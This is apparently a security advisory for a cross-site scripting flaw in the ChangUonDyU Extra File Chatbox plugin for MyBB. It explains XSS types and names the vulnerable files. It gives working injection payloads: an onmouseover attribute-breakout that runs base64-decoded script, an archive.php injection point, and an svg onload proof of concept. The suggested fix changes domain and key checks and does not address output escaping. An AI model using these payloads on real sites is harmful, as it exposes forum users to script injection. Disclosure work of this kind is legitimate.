# Description about Software :
***************************
ChangUonDyU - Extra File Chatbox is a MyBB plugin used for live chatting with other users on the forum.

####################################################################

# Impact :
***********
* The software does not neutralize or incorrectly neutralizes "javascript:" or other URIs from 

dangerous attributes within tags, such as onmouseover, onload, onerror, or style.

* The software does not neutralize or incorrectly neutralizes user-controlled input for alternate script syntax.

* The software does not neutralize or incorrectly neutralizes user-controllable input before 

it is placed in output that is used as a web page that is served to other users.

Cross-site scripting (XSS) vulnerabilities occur when:
***********************************************
1. Untrusted data enters a web application, typically from a web request.

2. The web application dynamically generates a web page that contains this untrusted data.

3. During page generation, the application does not prevent the data from containing content that is 

executable by a web browser, such as JavaScript, HTML tags, 

HTML attributes, mouse events, Flash, ActiveX, etc.

4. A victim visits the generated web page through a web browser, which contains 

malicious script that was injected using the untrusted data.

5. Since the script comes from a web page that was sent by the web server, the victim's 

web browser executes the malicious script in the context of the web server's domain.

6. This effectively violates the intention of the web browser's same-origin policy, which 

states that scripts in one domain should not be able to access resources or run code in a different domain.

There are three main kinds of XSS:
******************************

Type 1: Reflected XSS (or Non-Persistent) - The server reads data directly from the HTTP request and 
reflects it back in the HTTP response. Reflected XSS exploits occur when an attacker causes 
a victim to supply dangerous content to a vulnerable web application, which is then reflected 
back to the victim and executed by the web browser. The most common mechanism for 
delivering malicious content is to include it as a parameter in a URL that is posted publicly
 or e-mailed directly to the victim. URLs constructed in this manner constitute the core of 
many phishing schemes, whereby an attacker convinces a victim to visit a URL that refers 
to a vulnerable site. After the site reflects the attacker's content back to the victim, 
the content is executed by the victim's browser.

Type 2: Stored XSS (or Persistent) - The application stores dangerous data in a database, 
message forum, visitor log, or other trusted data store. At a later time, the dangerous 
data is subsequently read back into the application and included in dynamic content. 
From an attacker's perspective, the optimal place to inject malicious content is in an area 
that is displayed to either many users or particularly interesting users. 
Interesting users typically have elevated privileges in the application or interact with 
sensitive data that is valuable to the attacker. If one of these users executes malicious content, 
the attacker may be able to perform privileged operations on behalf of the user or gain access
 to sensitive data belonging to the user. For example, the attacker might inject XSS into
 a log message, which might not be handled properly when an administrator views the logs.

Type 0: DOM-Based XSS - In DOM-based XSS, the client performs the injection of 
XSS into the page; in the other types, the server performs the injection. DOM-based XSS
 generally involves server-controlled, trusted script that is sent to the client, such as
 Javascript that performs sanity checks on a form before the user submits it. 
If the server-supplied script processes user-supplied data and then injects it 
back into the web page (such as with dynamic HTML), then DOM-based XSS is possible.

Vulnerable File : 
******************
[VULNERABLESITE]/chatbox/message.php

Vulnerable Source Code :
**********************
54: $shout['color'] = strip_tags($shout['color']);
55: $shout['font'] = strip_tags($shout['font']);

Example Dangerous JavaScript Code :
********************************
' size=99 onmouseover=document.write(atob('aHR0cHM6Ly93d3cuY3liZXJpem0ub3JnLw====')); a='asd

Encode and Decode URL Links:
****************************
base64encode.org
base64decode.org

Vulnerability Area :
****************
[VULNERABLESITE]/chatbox/index.php

Cross Site Scripting XSS Exploit :
*****************************
[VULNERABLESITE]/chatbox/archive.php?page=[XSS]

# Example XSS Payload :
************************
<marquee>XSS-Vulnerability-Discoverd-By-KingSkrupellos</marquee>

Proof of Concept :
*****************
Create a new thread with the following payload as the title  <svg onload=alert('XSS')>

The alert will appear on the index page

# Solution to Fix this Bug :
************************
Now - Find chatbox folder/config.php - Find the codes below

$config['forumlink'] = 'domain1.net/forum,domain2.com'; //Forum url 

Here is the link which domain should be run. We will edit this file like this.
For example ; We can enter forum.[VULNERABLESITE].gov and [VULNERABLESITE].gov/FORUM

$config['forumlink'] = '[VULNERABLESITE].com/forum,forum.[VULNERABLESITE].com'; //Forum url 

If the domain is unique - so we change this file like this ; 

$config['forumlink'] = '[VULNERABLESITE].com'; //Forum url 

Then 

$config['chatboxkey'] = 'your_chatbox_key'; // ChatboxKey 

Find this chatbox key. It should be longer. Nobody should guess it. Note this key somewhere. Then find this codes.

$config['check_domain_reffer'] = false; // Check reffer url
$config['check_chatbox_key'] = false; // check ChatboxKey 

Change with this codes.

$config['check_domain_reffer'] = true; // Check reffer url
$config['check_chatbox_key'] = true; // check ChatboxKey 

Then save the file. 

Then  => Administration Panel => Settings => Forum Settings => ChangUonDyU Chatbox Extensions => Enter here your [ your_chatbox_key ] and save it.

If you want to change [ Access Denied (Invaild ChatboxKey or URL) ] keywords. Go to the config.php and save this file however you wish.

$phrase['accessdenied'] = "<b>Access Denied (Invaild ChatboxKey or URL)</b>"; 

That's all. The Bug has been fixed.
